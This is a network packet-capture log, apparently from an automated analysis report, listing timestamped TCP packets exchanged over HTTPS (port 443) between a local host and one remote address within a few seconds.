Dec 27, 2024 10:22:01.297460079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.297516108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.459562063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.459578991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.459645033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.459671021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.459709883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.464133024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.464148045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.464199066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.464207888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.464246035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.470093012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.470107079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.470158100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.470170021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.470208883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.476134062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.476147890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.476208925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.476218939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.476262093 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.481324911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.481339931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.481400013 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.481415987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.481455088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.487643957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.487658024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.487725019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.487735033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.487775087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.492893934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.492923975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.492961884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.492970943 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.493000984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.493016005 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.498806000 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.498821020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.498878956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.498888016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.498924971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.528265953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.660839081 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.660856962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.661170959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.661195993 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.661241055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.665560007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.665574074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.665669918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.665679932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.665728092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.671552896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.671569109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.671623945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.671634912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.671688080 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.673435926 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.677484989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.677500010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.677606106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.677606106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.677618027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.677655935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.682691097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.682709932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.682766914 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.682780981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.682802916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.682815075 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.689021111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.689034939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.689099073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.689110041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.689162016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.694302082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.694315910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.694366932 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.694379091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.694417953 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.700301886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.700315952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.700377941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.700397968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.700434923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.737445116 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.862027884 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.862045050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.862118006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.862144947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.862189054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087524891 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087542057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087685108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087722063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087778091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087857008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087869883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087869883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087898016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087913990 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087927103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087944984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.087975025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.087985992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.088010073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.088944912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.088958025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.089020967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.089030027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.089868069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.089881897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.089943886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.089955091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.090714931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.090729952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.090787888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.090797901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.090821028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.091725111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.091738939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.091790915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.091800928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.091825008 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.092464924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.092711926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.092726946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.092780113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.092787981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.092931986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.092953920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.092988968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.092998028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.093027115 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.093918085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.093930006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.093990088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.094000101 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.094855070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.094871998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.094926119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.094935894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.095988035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.095999956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.096060038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.096070051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.096925974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.096942902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.096996069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.097006083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.097023010 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.097647905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.097660065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.097704887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.097714901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.097743034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.098834038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.102009058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.102022886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.102118015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.102128983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.107271910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.107290983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.107336998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.107348919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.107374907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.139185905 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.268435955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.268452883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.268548965 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.268578053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.268627882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.274169922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.274189949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.274270058 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.274283886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.274323940 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.279231071 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.279246092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.279340982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.279355049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.279400110 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.284842968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.284864902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.284944057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.284955978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.285007954 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.290450096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.290513992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.290546894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.290556908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.290586948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.290611982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.295980930 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.296030998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.296072960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.296082020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.296108007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.296130896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.301686049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.301734924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.301773071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.301783085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.301819086 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.302522898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.302561998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.302577019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.302618980 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.307548046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.307571888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.307620049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.307632923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.307662010 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.307677984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.471033096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.471054077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.471148014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.471182108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.471221924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.476712942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.476732016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.476818085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.476849079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.476897955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.482413054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.482439041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.482513905 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.482543945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.482594967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.487407923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.487421989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.487500906 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.487530947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.487576962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.492719889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.492734909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.492819071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.492829084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.492873907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.498423100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.498437881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.498524904 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.498545885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.498596907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.504080057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.504108906 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.504154921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.504173040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.504199028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.504215002 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.509752035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.509774923 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.509826899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.509843111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.509879112 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.672461033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.672487020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.672580957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.672615051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.672661066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.678163052 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.678178072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.678256989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.678284883 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.678328037 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.683176994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.683193922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.683263063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.683286905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.683327913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.688911915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.688926935 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.689007998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.689035892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.689081907 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.694261074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.694276094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.694335938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.694354057 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.694396019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.699909925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.699924946 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.699979067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.699995041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.700033903 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.705579042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.705594063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.705651045 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.705668926 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.705714941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.869643927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.869662046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.869728088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.869761944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.869808912 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.874237061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.874255896 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.874325037 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.874336004 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.874375105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.881742001 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.881757975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.881829023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.881838083 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.881889105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.885679007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.885695934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.885761023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.885770082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.885808945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.890671015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.890686035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.890744925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.890758038 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.890796900 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.896707058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.896730900 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.896780968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.896790981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.896816015 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.896826982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.901802063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.901818991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.901911020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.901923895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.901967049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.907426119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.907485008 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.907497883 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.907510996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:02.907537937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:02.907556057 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.070983887 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.071011066 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.071077108 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.071120024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.071141005 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.071161985 CET	49745	443	192.168.2.4	172.67.214.186
